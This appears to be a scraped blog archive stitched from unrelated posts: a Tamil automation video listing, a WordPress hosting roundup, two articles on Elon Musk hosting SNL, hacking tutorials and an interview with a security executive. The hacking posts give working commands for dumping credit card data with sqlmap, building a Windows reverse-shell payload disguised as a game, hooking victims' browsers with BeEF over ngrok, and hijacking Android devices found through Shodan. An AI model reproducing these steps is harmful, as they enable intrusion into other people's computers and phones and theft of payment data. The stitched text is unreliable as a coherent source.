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what is industrial automation in tamil(part-1) | techtrainer |#PLC Programming -Tamil - தமிழ்

2022-09-27T02:10:00.000-07:00

what is industrial automation in tamil(part-1) | techtrainer |#PLC Programming -Tamil - தமிழ்

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Time Stamp 0:00 what is industrial automation in tamil 4:23 automation types 8:23 closed loop auomation 18:00 industrial roboics 20:00 what type of programing using industrial automation 34:05 indutrial 4.0 35:21 pro's & con's industrial automation

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Best WordPress hosting of 2021

2021-04-28T19:32:00.001-07:00

Best WordPress hosting of 2021

Ask someone if they're familiar with working with a CMS (content managing system), and they're likely to say that they've worked on a WordPress system. The open-source software has been the engine behind a wide variety of sites -- everything from one-person blogging operations to established media names like Rolling Stone -- for the better part of two decades.

It's popular with customers because it lets you build a professional custom website using a variety of templates, plug-ins and widgets. The "catch" is that anyone outside of a hobbyist will likely want to host a WordPress site on their own domain -- and that means seeking a WordPress host. Similar to choosing a web hosting service in general, finding the right WordPress host can make your life a lot easier. (You may also want to look into a website builder to help you actually create your site on WordPress.)

Editors' top picks

Subscribe to CNET Now for the day's most interesting reviews, news stories and videos.

Choosing a WordPress hosting service can be daunting -- there are so many options that all promise the best customer support, little downtime and a great price, all of which are key for operating your site, whether it's for business or personal use.

Here, we're taking a close look at some of the best WordPress hosting services available, including DreamHost, A2Hosting, GoDaddy Web Hosting and more. We're focusing on commercial WordPress hosting companies that offer virtual private servers, shared hosting and many web hosting services, along with a variety of annual and monthly plans.

How we choseGetty/SOPA Images

It's important to note that we didn't explicitly "test" the providers on this list. Instead, we compiled a competitive overview based on a variety of factors, including third-party ratings and features offered by the providers. We've also weighted the rankings of these businesses by the Better Business Bureau and TrustPilot. With that data in hand, we split them into three tiers:

Best WordPress hosting providers (top tier): These vendors all have a rating of A or higher from the Better Business Bureau, and a rating of 3.8 or higher out of 5 from TrustPilot. With the exception of three vendors with between 300 to 400 pieces of user feedback, all of the TrustPilot rankings are based on at least one thousand user reviews. All of the vendors listed in our top picks also say they offer 24/7 support and 99% site uptime or better.

WordPress hosts worth checking out (middle tier): These vendors all have A+ BBB ratings, but not enough TrustPilot reviews for us to consider that rating as impactful, whether it's positive or negative.

Other WordPress hosting options (third tier): Two of these vendors -- MochaHost and Liquid Web Hosting -- currently have F ratings from the BBB. Others have TrustPilot ratings below 3.5, though in three cases, that's from fewer than 500 users.

Important caveats you should keep in mind: The Better Business Bureau does not rate companies outside of North America, and to be BBB Accredited, companies need to pay a fee to the organization. TrustPilot, meanwhile, also offers a paid tier that provides companies more interaction with their user ratings. It also removed 2.2 million fake reviews in 2020.

Something else to note: WordPress.org explicitly endorses three hosting sites: Bluehost, DreamHost and SiteGround. The first is not currently on our tier-one list due to a low TrustPilot rating, but may be worth checking out for WordPress specifically. It's also worth noting that, as of April 2020, WordPress cofounder Matt Mullenweg is engaged with a serious war of words with CEO Avishai Abrahami of the website builder Wix. (Note that Mullenweg was a CNET employee in the early 2000s.)

Many of the providers on this list offer similar features but in different packages and price points; once you figure out what type of plan is best for you (for example, one with a certain amount of storage, or with email included) you can more easily compare the options.

If you want more advice on what to keep in mind while shopping for a web hosting solution, the different types of web hosting available and tips on speeding up your website, make sure you scroll to the bottom of this page.

A note on pricing: We've made every effort to verify that the prices listed here were accurate at the time of last publication. However, prices in this category are subject to frequent fluctuations and they're consistently subject to special offers and limited deals. Furthermore, many of the prices listed here reflect the monthly rates if you prepay for 12 months of service or more. Please click through to the vendors in question to verify current pricing at any given time.

WordPress hosting providers, compared Basics DreamHost SiteGround GreenGeeks GoDaddy Web Hosting IONOS HostPapa Hostinger A2Hosting Hostwinds Starting price for WordPress hosting $2.59/month $7/month $2.49/month $1/month $1/month $4/month $2/month $3/month $5/month Uptime promise 100% 99.90% 99.90% 99.90% 99.90% 99.90% 99.90% 99.90% 99.90% 24/7 customer service Live chat; email; phone during certain hours Live chat; support tickets; phone support Live chat; email; phone during certain hours Phone; live chat 24/7 phone support; live chat Live chat; support tickets; phone support Live chat; support tickets Phone; live chat Live chat; support tickets Money-back guarantee 97 days 30 days 30 days 30 days 30 days 30 days 30 days 30 days None Better Business Bureau rating A+ A+ A+ A+ A+ A+ None (located outside North America) A+ A Better Business Bureau accreditation No No Yes Yes Yes No N/A Yes Yes TrustPilot rating 4.7/5 4.7/5 4.1/5 4.1/5 4.1/5 4.1/5 4.4/5 3.9/5 3.9/5 Best WordPress hosting providers DreamHost

With an A+ rating from the Better Business Bureau and 4.7 out of 5 stars on TrustPilot, DreamHost is one of our most recommended WordPress hosting providers for several reasons. Its server and database software is built to be compatible with WordPress for seamless integration. It also offers automatic WordPress updates, easy one-click installs and the proper configurations from the start to help your site run at top speed. DreamHost has provided more than 750,000 WordPress installations, according to its website.

DreamHost offers three different WordPress-specific tiers, with different plans within each tier: basic, managed WordPress hosting and virtual private servers for WordPress hosting, giving you different options depending on your needs. It also has a dedicated in-house WordPress customer support team, and 24/7 email and chat support. As noted, DreamHost is recommended by WordPress.

Other things we like about Dreamhost: It offers free shared website and email hosting to 501(c)(3) nonprofits. For all others, the pricing is pretty transparent -- there are no hidden gotchas in the rates. Plus, it provides a 97-day money back guarantee, one of the most generous offers available.

SiteGround

Basic managed WordPress hosting starting at $7 a month

Unlimited managed WordPress hosting starting at $10 a month

Unlimited managed WordPress hosting with additional features starting at $15 a month

SiteGround has an A+ rating from the BBB and 4.7 out of 5 stars on TrustPilot. It sits in the middle ground between a consumer web hosting provider and one that caters to enterprise businesses. If you've got a small business with more complex WordPress needs than a typical small business, SiteGround is an ideal solution -- and if your business ends up expanding, the service has options to grow with you.

You've got three different tiers of WordPress hosting plans to choose from: StartUp (one website and 10GB of web space), GrowBig (unlimited websites, 20GB of web space and features like on-demand backup copies and PHP) and GoGeek (unlimited websites, 40GB of web space and several other features, like priority support). SiteGround differs from some other services in that it sets limits on bandwidth and storage up front, whereas most others claim to be unlimited but have rules in the fine print. You'll also get a 30-day money-back guarantee and a 100% renewable energy match. As noted, SiteGround is recommended by WordPress.

As is the case with most other services, if you want to get the lowest price, you'll have to pay for a year of service in advance. After that year, the price will go up. Support includes 24/7 live chat and phone access, and tickets that are answered in an average of 15 minutes.

GreenGeeks

Basic WordPress hosting starting at $2.49 a month

Unlimited WordPress hosting starting at $5 a month

Unlimited WordPress hosting plus free dedicated IP starting at $9 a month

GreenGeeks has an A+ rating from the BBB and 4.1 out of 5 stars on TrustPilot. If you've ever been worried about the tremendous amount of power large data centers consume, you might want to check out this service. The "green" in the company's name reflects the Green Geeks' commitment to the environment. It purchases three times the energy it actually uses in wind energy credits, essentially putting energy back into the economy. The company does this through a form of renewable energy certificates, which, while complicated, means that it's not just energy neutral, it's actually helping fuel the green energy economy.

Even though it's green, GreenGeeks still offers a lot of power for your WordPress websites. Like other sites, it offers three plans, but with a large amount of web space: Lite (one website and 50GB of web space), Pro (unlimited websites and unlimited web space) and Premium (unlimited websites and web space, plus free premium SSL). All offer a 30-day money back guarantee.

GreenGeeks also offers live chat and email support 24 hours a day, seven days a week, 365 days a year. It also has phone support most hours of the day. It's also one of the more developer-friendly web hosting providers, too, with multiple PHP versions and Git preinstalled.

GoDaddy

Basic WordPress hosting starting at $1 a month for CNET readers

WordPress ecommerce hosting starting at $16 a month

GoDaddy has an A+ rating from the BBB and 4.1 out of 5 stars on TrustPilot. While the site is perhaps best known for purchasing domain names, it also offers a variety of WordPress hosting plans. Its basic plan starts at just $1 a month and includes a free SSL Certificate. Or, for larger sites, you can upgrade to the Deluxe plan for $10 a month (with SEO optimization features and 75GB of storage), or the Ultimate plan for $13 a month (with online marketing, unlimited storage and security features).

For those who are running larger online shops, GoDaddy also has a WordPress eCommerce plan for $16 a month with no transaction fees, WooCommerce extensions, appointment scheduling and real-time shipping rates.

Each plan comes with free business email for the first year. As is the case with many web hosting services, these prices will go up after you renew your service. Make sure you read all the fine print.

GoDaddy offers 24/7 phone support and live chat support as well.

Business WordPress hosting starting at $1 a month

WordPress Pro (with cloud server) starting at $18 a month

IONOS from 1&1 has an A+ rating from the Better Business Bureau and a TrustPilot score of 4.1 out of 5. It's targeted toward small and medium businesses, with a focus on taking your first steps online or scaling up. IONOS has three typical WordPress plans: Essential for $3 a month (25GB of storage and 10 email accounts), Business for $1 a month (100GB of storage and 100 email accounts) or Unlimited for $8 a month (unlimited storage and email). All plans come with a managed option. Or, you'll find three more WordPress Pro plans, for those who need more intensive support, speed and a dedicated cloud server.

As is the case with many other services, the prices listed go up after a year (for example, Essential goes up to $4 a month and Business goes up to $8 a month).

HostPapa

HostPapa has an A+ BBB rating and a 4.1 out of 5 TrustPilot rating. It's a small business-focused hosting service that also offers free domain transfer. HostPapa has three WordPress plans: Starter for $4 a month (100GB of storage and 100 email accounts), Business (unlimited storage and email) and Business Pro (unlimited storage and email plus enhanced performance, security and speed). It also offers free WordPress migration.

Hostinger

Hostinger is based in Lithuania, so it does not have a BBB page (that organization only focuses on US-based businesses). However, it does have a TrustPilot rating of 4.4 out of 5 with more than 2,000 reviews.

Hostinger offers four managed WordPress hosting plans: Single WordPress for $2 a month (30GB of storage and one email account), WordPress Starter for $3 a month (100GB of storage and 100 email accounts), Business WordPress for $8 a month (300GB of storage and 100 email accounts) and WordPress Pro for $11.59 a month (all of the above plus additional features for small and medium businesses). Like most other services, these prices go up upon renewal.

A2 Hosting

A2 Hosting has an A+ rating from the BBB and 3.9 out of 5 stars on TrustPilot. You can choose between four shared WordPress hosting plans (ranging in price from $3 a month to $15 a month) or three managed WordPress hosting plans which include faster load times and more security and support (ranging in price from $13 a month to $44 a month).

Customer support is also strong: A2 Hosting's Guru Grew support team is available 24 hours a day, seven days a week, 365 days a year by phone, email, online chat or ticket.

Like most web hosting providers, the published pricing is a bit misleading: The shared hosting price tag of $3 a month is only available if you sign up for the three-year plan and pay upfront. It offers a 30-day money back guarantee or a prorated refund for unused service after that point.

HostWinds

Hostwinds has an A rating from the BBB and a 3.9 out of 5 stars from TrustPilot. It offers three WordPress hosting sites, ranging in price from $5.24 a month to $8.24 a month. All plans offer unlimited bandwidth, disk space, email accounts, dedicated IPs and SSL certificates. Other perks include free WordPress site migration, and use of the Weebly site builder.

Additional WordPress hosting options worth checking out

The following WordPress hosts have slightly lower or fewer TrustPilot ratings than the ones above, but almost all are still highly rated with the BBB.

WebHostingPad

WebHosingPad has an A+ BBB rating, but just a handful of reviews on TrustPilot. Its "all-inclusive" website hosting plan starts at $2 a month and includes free SSL certificates, a free website builder by Weebly, one-click install WordPress, a free domain and a 30-day money-back guarantee. It also offers unlimited websites, domains and email. WebHostingPad offers fewer services than some of the other providers, but the all-inclusive approach may be appealing if you want a simple way to get started building and hosting a site.

AccuWeb Hosting

AccuWeb Hosting has an A+ rating from the BBB and 4 out of 5 stars from TrustPilot, but again, fewer than 100 reviews. It stands out due to the wide array of hosting options it offers, including several different managed and unmanaged Windows and Linux hosting plans. AccuWeb Hosting also breaks down what's included in each plan more clearly than some of the other providers.

Web Hosting Hub

Web Hosting Hub has an A+ BBB rating, but it has yet to have a quorum of user reviews on TrustPilot. One standout feature is full service web design for an extra fee, so you don't have to build your site yourself.

WP Engine Web Hosting

WP Engine Web Hosting has a A BBB rating and a 3.4 out of 5 TrustPilot rating (but with fewer than 200 reviews). As the name suggests, it's a WordPress hosting option that works with several large brands, including Yelp, Marriott and Etsy.

GlowHost

GlowHost has an A+ BBB rating, but just a small handful of TrustPilot reviews. If you want to give it a try, the service offers a 91-day money-back guarantee.

Other WordPress hosting options

The following WordPress hosts have more mixed reviews and either a low BBB or TrustPilot rating. Reminder that we haven't tested them ourselves, but would recommend doing more research before signing up. And again, Bluehost is one of only three hosting sites that WordPress.org explicitly endorses, so may be worth checking out for this purpose.

Bluehost: A+ BBB rating, 2.6 TrustPilot rating

HostGator: A+ BBB rating, 3.3 TrustPilot rating

InMotion Hosting: A+ BBB rating, 3.3 TrustPilot rating (fewer than 500 reviews)

iPage: A+ BBB rating, 1.4 TrustPilot rating (fewer than 500 reviews)

Liquid Web Hosting: F BBB rating, 4.5 TrustPilot rating (fewer than 500 reviews)

MochaHost: F BBB rating, 4.4 TrustPilot rating

Planning your WordPress hosting purchase

Now that you've got a lay of the land for what types of web hosting services are out there, here are a few tips for when it comes to actually choosing a plan.

Be wary of the 'starting price'

Despite the fact that most WordPress hosting services typically list a low starting price, this price will usually require you to pay up front for two to three years of service -- so it's not really, say, $3 a month, but $72 in advance for two years. And once that promotional period is over, the price to renew your service can end up being way higher.

Switching providers? Look for free site migrations

If your WordPress hosting agreement is about to run out and the price is going to go up, you may want to transfer your site to another hosting provider to take advantage of their introductory deal. Look for those providers that offer free or low-cost site migrations to do so.

One more note about migration services: While these are useful, they're often automated, which means not everything may migrate over, and you may have to make some changes. Make sure you research how it will work for you before you sign up.

Read the fine print on 'unlimited' services

While many web hosting services offer what they call "unlimited" or unmetered service for a certain amount of bandwidth, disk storage and websites you use, make sure you read the terms of service. Most actually do include a definition with a limit for use. But if you're running a fairly basic site and aren't trying to take advantage of the system, you should be fine.

Make sure you know the difference between web hosting and web building services

Many web hosting services also offer a drag-and-drop website builder, helping you get your site up and running. But make sure you read the fine print: Using one of these website builders will often lock you into the web hosting service, too. The builders may also be proprietary to the service, making it difficult to move your site to another service if you want to do so later on.

More expert web tips

Elon Musk dubs himself 'the Dogefather' ahead of SNL hosting gig on May 8

Elon Musk is going to host the TV show on May 8.

James Martin/CNET

Elon Musk will host NBC's Saturday Night Live on May 8 and he's making jokes about his upcoming appearance. Late Tuesday, the billionaire businessman behind Tesla and SpaceX tweeted a reminder of his hosting gig, dubbing himself the Dogefather. The tweet references the meme-themed cryptocurrency Dogecoin, which Musk has tweeted and talked about before.

For a short tweet, Musk's words may have had a real-world effect. Barrons reported a Dogecoin rally, reporting that the currency was up about 15 percent, to 31 cents, in Wednesday trading.

It's not Musk's first tweet about the upcoming SNL episode. On Saturday, he confirmed his appearance with a tweet, then added another in which he wrote, "Let's find out just how live Saturday Night Live really is," with a purple smiling devil-face emoji.

That tweet caused some confusion. SNL cast member Bowen Yang reacted in an Instagram story with a frowning face, and then said, "What the f--- does that even mean?"

Cast member Andrew Dismukes also commented on Musk's hosting in an Instagram story, referring to SNL alum Cheri Oteri, and writing "ONLY CEO I WANT TO DO A SKETCH WITH IS Cher-E Oteri."

Musician Grimes, who shares a son with Musk, defended him on TikTok this week when commenters attacked Musk over issues involving the environment and women's rights, while admitting "(definitely) he's been very immature at points on Twitter."

A press release from SNL announcing his host role described Musk as "the CEO and Technoking of Tesla and the chief engineer of SpaceX, which launched the second operational flight of its Dragon spacecraft to the International Space Station on April 23." Miley Cyrus will be the musical guest on the May 8 show.

Although Musk is a first-time host, Miley Cyrus has been the show's musical guest five times.

Musk is an unusual choice, to say the least, but some nonactors have hosted in the past. Athletes such as Nancy Kerrigan and Lance Armstrong have hosted the show, as have politicians such as Rudy Giuliani and Al Gore. Even then-presidential candidate Donald Trump hosted in 2015.

And Musk is certainly no stranger to the spotlight (or to cracking a joke). He's had cameos in Iron Man 2, The Simpsons and Rick and Morty -- as Elon Tusk. And then there are the viral moments: taking a toke on Joe Rogan's podcast, that could-almost-have-been-a-comedy-routine Cybertruck demo. And the tweets -- including the one where Musk's head was Photoshopped onto the Rock's body. Musk also named his actually-a-thing tunnel-digging business The Boring Company.

CNET Culture

Entertain your brain with the coolest news from streaming to superheroes, memes to video games.

Naturally, there was some social-media reaction to the SNL news.

"I wonder how much Musk paid NBC and Lorene Michaels for the gig," one Twitter user wrote, referring to SNL creator Lorne Michaels. "Bet it's enough to finance SNL's entire 2021-'22 season."

"Elon Musk hosting SNL is huge for guys still making "that's what she said' jokes who think they'd be great at hosting SNL," wrote comedian and author Josh Gondelman.

CNET's Edward Moyer contributed to this report.

Elon Musk’s SNL Hosting Gig Is a Trap

Elon Musk is an eyebrow-raising choice of host for Saturday Night Live. He’s a controversy-courting tech CEO with a tenuous connection to the entertainment industry. He’s never seemed interested in performing sketch comedy. And his Twitter following of more than 50 million accounts eclipses SNL’s audience—this season, the series’ highest-rated episode drew about 9 million viewers. Musk, in short, doesn’t need SNL.

But SNL, which doesn’t typically invite guests like Musk to Studio 8H, seems to need him. Yes, the show has made atypical host choices in the past, including athletes, politicians, and, on occasion, sportscasters, but these figures have always arrived with a message and a motive for subjecting themselves to the trials of live TV. They want your vote, or your visit, or your viewership. Only once has SNL chosen a host completely outside of these boundaries: an early show featuring Miskel Spillman, a woman who won a contest called “Anyone Can Host,” in 1977. Musk’s hosting gig begs the question: Why would this man want to head to 30 Rock?

Before 2018, Musk sometimes appeared as himself in film and television, perhaps hoping to come off as an affable public figure willing to poke a little fun at his image. In Iron Man 2, he pitches an idea to Robert Downey Jr.’s billionaire inventor, Tony Stark, a character to whom Musk has often been compared. In The Big Bang Theory, he meets a starstruck Howard (Simon Helberg) while volunteering at a soup kitchen for Thanksgiving. In Machete Kills, he helps Machete (Danny Trejo) get to space.

But in the past few years, Musk’s persona has mutated from that of the visionary tech genius into the overly online eccentric who named his son with the musician Grimes “X Æ A-12.” Musk’s plan to save soccer players trapped in a cave in Thailand in 2018 turned into a Twitter rant—including an unfounded accusation of pedophilia—against one of the divers who took part in the actual rescue. (Musk later apologized.) In 2020, Musk, again on Twitter, initially denied the existence of the coronavirus pandemic, spread misinformation on the topic, and prematurely opened Tesla’s factories amid lockdown.

The man who’ll take the SNL stage on May 8 won’t just be a billionaire with spacefaring dreams, but one who shamelessly and aggressively stirs the pot on the internet—whether to get people to call him “Daddy Dotcom” or to move cryptocurrency markets with a single tweet—to the cheering of his ardent acolytes. “For better or worse, he shows that he has a sense of humor on Twitter,” Ashlee Vance, Musk’s biographer, told me over the phone. Vance pointed out that Musk once tried to start his own satire magazine; going on SNL could just be a higher-profile extension of that. Early in his career, “he was pretty shy,” Vance said. “He was self-confident in his intellect and his abilities, but I would not say he was socially self-confident, you know? Over time, he’s grown and grown … it’s all part of an evolution of this guy who enjoys the celebrity and keeps getting bigger.”

[Conor Friedersdorf: Not everything should be a moral reckoning]

Video: Two Distant Strangers - Official Trailer (Yahoo! Sports)

SNL, however, isn’t usually so generous with its stage. It’s a thoroughly mainstream institution that has lasted for almost 50 years, consistently holding the attention of millions of Americans every weekend. The show books hosts and musical guests based on who’s in, or should be in, the cultural zeitgeist, thereby underlining their importance to the public—that’s why Oscar nominees tend to stop by. Simply by providing a platform, the series has legitimized guests, defanged them, or shattered their reputations altogether.

Choosing Musk defies this goal of highlighting talent; instead, he appears to have been picked just to inspire debate. He inevitably will, because he already has. Even his contributions to Tesla have been disputed in court, his persona as a tech genius muddied by allegations of forcibly ousting the company's founder and taking credit for the work of engineers after joining the company. (The company denied these claims, and the suit was later settled for undisclosed terms.)

But if SNL thinks it can brighten or dim the star power of its host, Musk poses a particularly risky challenge. He’s a black hole, a rare figure who absorbs attention, good or bad. He’s already downplayed the latest news about Tesla, involving the deaths of two people in a driverless car in Texas, claiming that autopilot was not enabled, and moved on to reiterating his calls for turning humanity into a “multi-planetary species.” His power does not depend on cultural support from the likes of SNL; he can be disliked, but not “canceled.” None of his scandals have substantially altered his influence on the tech industry or his online following. Unlike a typical SNL host, he has nothing to lose. The show has effectively invited into the hallowed halls of 30 Rock a walking, talking, breathing meme with a net worth of $172.1 billion as of this writing.

[Read: ‘Saturday Night Live’ is over it]

No wonder some working at SNL seem baffled, if not outright frustrated, by the decision. They’ve been left in the uncomfortable, lopsided position of creating comedy for someone without any need for their work or support, who’s basically trolling them for kicks. A few cast members have posted cryptic responses on their social-media accounts: a sad emoji from Bowen Yang, a quip from Andrew Dismukes about “Cher-E Oteri” being the only CEO he’d want to work with, a tweet reposted by Aidy Bryant of Bernie Sanders’ calling billionaires “a moral obscenity.” Even Michael Che, who rarely posts on Instagram, felt compelled to release a tongue-in-cheek statement making fun of Musk’s polarizing reputation. There’s little else they can do: Having Musk as host erodes the series’ reputation as a cultural gatekeeper.

It’s easy to argue that criticisms against SNL and Musk are overblown, but Musk hosting SNL doesn’t so much reflect a moral quandary as it does a shift in the balance of power between the big TV networks and the memes. “It’s like asymmetric warfare for him,” Vance said. “He obviously enjoys the celebrity and the attention, and not only does he enjoy it—he uses it as this tool.” In other words, even if nothing Musk does on May 8 entertains America, he will be entertained.

Musk has become arguably one of the most successful trolls on Twitter today, a public figure without any stake in entertainment or politics capable of provoking a reaction, full stop. This hosting gig—unconventional for SNL, but entirely unnecessary for him—is a trap. So is trying to understand his motives. Because no matter what he does on the night—and he’s been delighting in teasing the fiendish possibilities of live television—he’s already seized our attention. And that’s how you know his trolling has worked: It doesn’t matter whether you react positively or negatively; you’ve already been caught reacting.

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Database Hacking | Extracting Data with sqlmap

2020-07-31T22:22:00.002-07:00

Welcome back, my aspiring White Hat Hackers!

Step #1 Do Reconnaissance to Acquire the Necessary Info

The first step, of course, is to do reconnaissance on the database by using sqlmap through the web application. To successfully extract the data, we need;

1. the type of database management system (DBMS)

2. the name of the database

3. the name of the tables

4. the name of the column whose data we want to extract

Test URL: www.webscantest.com

Step #2 Extracting the Data

Now that we have all the key information we need, it's time to extract that credit card information. Let's go back to the help screen for sqlmap. Simply enter;

kali > sqlmap --help

As you can see above, we need to use the --dump option in sqlmap along with the column and table name. Such as;

--dump

-C billing_CC_number

-T orders

-D webscantest

Let's put all that info together and see whether we can extract that credit card data from the database.

kali > sqlmap -u "http://www.webscantest.com/datastore/search_get_by_id.php?id=4" --dump -C billing_CC_number -T orders -D webscantest

As you can see above, sqlmap has extracted and then dumped the data to my Kali system in a .csv format and saved it to;

/root/.sqlmap/output/www.webscantest.com/dump/webscantest/orders.csv

Now, we have all the credit card data in a .csv file format that can be opened in Excel, a text editor or any spreadsheet program.

Of course, if we need more data such as expiration dates or first name and last name, we can extract that data by simply replacing the credit card column name in our sqlmap command with the appropriate column name (e.g. billing_firstname) in the table.

MSFCONSOLE settings after Successfully Send Payload | metasploit

2020-07-24T07:32:00.003-07:00

Payload Generate Command:

>>msfvenom -p windows/meterpreter/reverse_tcp lhost=<your host ip> lport=<port number> -f exe -o <paylaod name>

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.1 lport=8080 -f exe -o game.exe

msfconsole settings

>>>use multi/handler
>>>set payload -p windows/meterpreter/reverse_tcp
>>>set lhost <your host IP>
ex: set lhost 192.168.0.1
>>>set lport <set port what bind in the payload>
ex: set lport 8080
after verifying given values are correct
>>>show options
Check Every Thing is Correct Execute below command
>>> exploit

BeeF-Over-Wan | Beef Tool Exploit over The Internet | NGROK

2020-07-24T05:18:00.000-07:00

✔Browser Exploitation Framework is an open-source penetration testing tool that focuses on browser-based vulnerabilities. This Python Script does the changes Required to make hooked Linked Accessible Over WAN.So anyone can use this framework and Attack Over WAN without Port Forwarding [NGROK or any Localhost to Webhost Service Required ]

Instructions :

You need two Links which are Forwarded To LocalHost:80 and LocalHost:3000

To send to Victim.
Beef listens on Port 3000,So this link should be forwarded to LocalHost:3000.

Just Enter your links in the Script, Script will do necessary changes required to opt for your Links.

NGROK Steps:-

STEP 1: Add these Lines To ngrok.yml [Location .ngrok2/ngrok.yml ]

tunnels:
first-app:
	addr: 80
	proto: http
second-app:
	addr: 3000
	proto: http

STEP 2: Now Start ngrok with :

	ngrok start --all

STEP 3 : You will See 2 different links Forwarded to

    Localhost:80                  [ Link To be Sent to Victim ]
    Localhost:3000		  [ Your Link will be Connecting to.. ]

STEP 4: Enter these links in Script and Follow The Steps given in Script.

Requirements

Beef-XSS [Browser Exploitation Framework]
Apache
NGROK [If you want to do this without Port Forwarding]

Getting Started

git clone https://github.com/stormshadow07/BeeF-Over-Wan.git
cd BeeF-Over-Wan
chmod +x BeeFOverWan.py && python BeeFOverWan.py

How To Hack windows Using METASPLOIT | Metasploit Tutorial | 2020

2020-07-22T05:43:00.002-07:00

HACKING USING METASPLOIT

STEP 01: ngrok official web site sing in, and ngrok setup download,

STEP 02: download ngrok file right-click open terminal 01,

STEP 03: ngrok official web side open, and rock authentication code copy, open terminal 01,

STEP 04: paste on terminal 01, and authentication permission granted.

STEP 05: services apache2 start (server stsrt cmd)

STEP 06: ./ngrok for execute cmd

STEP 07: ./ngrok http <port number> ( apache2 server started)

STEP 08: download ngrok file right-click open terminal 02, ifconfig<local ipv4 addres>

STEP 09: ./ngrok tcp <port number> ( apache2 server started)

STEP 10: download ngrok file right click open terminal 03, msfvenom –p windows/reverse-tcp LHOST=o.tcp.ngrok.io LPORT=8080 –f exe <payload name>.exe

STEP 11: ls (list of files)

STEP 12: msfconsloe (open metasploit)

STEP 13: use multi/handler

STEP 14: set payload windows/meterpreter/reverse_tcp (payload set on windows)

STEP 15: set LHOAT <port number>

STEP 16: set LHOAT (local ipv4 address)

STEP 17: set LPORT <port number>

STEP 18: show options (showing options)

STEP 19: exploit (run cmd)

PhoneSploit Download

2020-07-22T01:05:00.002-07:00

PhoneSploit Download

Your download will begin in 15 seconds.

Click here if your download does not begin.

PhoneSploit how to hack Mobile Without Any App

2020-07-22T00:50:00.000-07:00

PhoneSploit is the Python Based tool using for hack android platforms Below the steps guide you.or download the tool click here

HOW TO INSTALL Linux

git clone https://github.com/Zucccs/PhoneSploit
cd PhoneSploit
pip install colorama
python2 main_linux.py


IF ADB NOT FOUND




sudo apt update && sudo apt install android-tools-adb android-tools-fastboot


Test IP's 

visit shodan.io --> type android debug bridge 

you got some ips then testing  only  







Warning! don't use iligal activities






Discliamer 



This is for Education purpose only,This site don't promote any illigal activities

Ethical Hacking Certifications | Ethical Hacker Salary

2020-07-20T19:45:00.003-07:00

A research study by The National Center for Women & Information Technology showed that “gender diversity has specific benefits in technology settings,” which could explain why tech companies have started to invest in initiatives that aim to boost the number of female applicants, recruit them in a more effective way, retain them for longer, and give them the opportunity to advance. But is it enough? Three years ago, we launched a diversity series aimed at bringing the most inspirational and powerful women in the tech scene to your attention.

Today, we’d like you to meet Rayna Stamboliyska, VP for Governance, and Public Affairs at YesWeHack. Today’s Woman in Tech: Rayna Stamboliyska, VP for Governance and Public Affairs at YesWeHack As Vice President of Governance & Public Affairs, she will expand strategic cooperation between ethical hackers and political organizations. In her new position, Rayna Stamboliyska will focus on raising awareness of digital security risks among political actors and advising them on how to proactively counter these risks. The cybersecurity expert worked for many years in risk and crisis management, including for international organizations such as the World Bank, OECD, and UNESCO. Rayna Stamboliyska’s main task will be to build a bridge between the YesWeHack community, consisting of 15,000 ethical hackers, and the needs of an increasingly networked, digital society.

To this end, she intends to focus on strategic issues of cybersecurity and digital governance. An important part of this is dealing with the disclosure of security gaps (Vulnerability Disclosure Policy) and dealing with it responsibly. A further aim of the security expert is to become more involved in the EU project SPARTA, a pilot research project on Ethical Hacking Certifications. Before YesWeHack, Rayna Stamboliyska was Chief Information Security Officer and Data Protection Officer at the Oodrive Group, a solution provider for virtual data rooms. She has also worked as an expert and consultant in risk and crisis management for international organizations such as the World Bank

OECD and UNESCO. She studied political science in Paris and holds a Master’s degree in International Relations. Rayna Stamboliyska writes the column “50 Nuances of the Internet” on ZDNet.fr and speaks regularly at conferences and workshops in Europe. She is the author of “La face cachée d’Internet” (“The Dark Side of the Internet”), which won the “General Public” cyber-book award in 2018. She has recently published a white paper on coordinated vulnerability disclosure with YesWeHack. How did you end up in your career path? I went into the tech industry through a rather natural approach, although it was not an orthodox one. Indeed,

I was majoring in genetics and evolution when bioinformatics made its way through the curriculum. I understood the importance of being able to leverage technology to address scientific and social questions alike all by being conscious of the uses. This is what brought me in the Free and Open Source Software community when I was still a Master’s student. Doing a Ph.D. instilled in me the crucial matter of making research data, publications, and code open and accessible to anyone. After graduating with my Ph.D., I went into an innovation-in-education oriented post-doc where I applied those learnings and endeavored to bring technology to the classroom. So when international organizations such as the World Bank and UNESCO invited me to become an international expert focusing on open knowledge (data + code) as a way to improve public service and people’s lives, I became a full-time technology advocate.

What are you most proud of in your career? There are a lot of things I am proud of: graduating with two Masters and a PhD, writing two books, many articles, and chapters, etc. Yet, the most exceptional pride of mine is having been able to nourish interactions with people who helped me grow, who let me learn how to learn, and who trust me in impacting real change. Did someone ever try to stop you from learning and advancing in your professional life? It is not that clearcut.

Although blunt conflict-prone situations may have arisen, they pale in comparison to a much more toxic gate-keeping attitude. There is an immensely prevalent culture in STEM with some people deciding upfront that their criteria for inclusion must define who can be part of the community. There is a lot of navigating to do between disgruntled meritocracy-motivated guys and silent democracy-driven ones, so it is no surprise that many just find it harsh. (Note: Here’s a long read about the whole meritocracy concept https://www.theguardian.com/news/2018/oct/19/the-myth-of-meritocracy-who-really-gets-what-they-deserve ; as for democracy, the term has arisen from hackerspaces and communities to indicate that responsibilities—thus, power—are for the individuals who do rather than for those who have a diploma/a social status/etc.

but little actual contribution) Even without getting into some Facebookish-level psychanalysis, there is a clear dynamic of singling out newcomers. This is not new. What is new—and potentially harmful to minorities in STEM—is for them to be seen as people who have to be included just because they are a member of a given minority. That is the reason I am always careful about being singled out as a “women in STEM”: my skills matter, not my gender, so I’d always aim at being acknowledged for my contribution. Gender-neutral is hard to achieve, though. Lastly, since women are humans, too, they may fully participate in that gate-keeping approach. This aspect is rarely addressed, though. Who was your most important mentor – and why? Even without getting into some Facebookish-level psychanalysis, there is a clear dynamic of singling out newcomers. Someone who really unblocked a frequent challenge for women in tech was a guy acting as a director at a big Paris-based global tech consultancy: salary negotiation. Back in 2015-2016, I was looking for a career change.

After spending nearly three years traveling the world, I was willing to settle and have a more sedentary, perhaps less strategic, and more operational job in technology. The issue was twofold: ‘coming home’, getting to develop a Paris-based professional network, and whenever I had job offers, being able to self-appreciate adequately throughout the salary negotiation phase. So, this guy was someone who was able to understand how a trained researcher would approach private-sector jobs in Paris and then helped me ‘trivialize’ the whole salary negotiation thing which was really scary and uncomfortable for me. As anyone with a multidisciplinary background that has to fight their way into an industry, impostor syndrome is a reality.

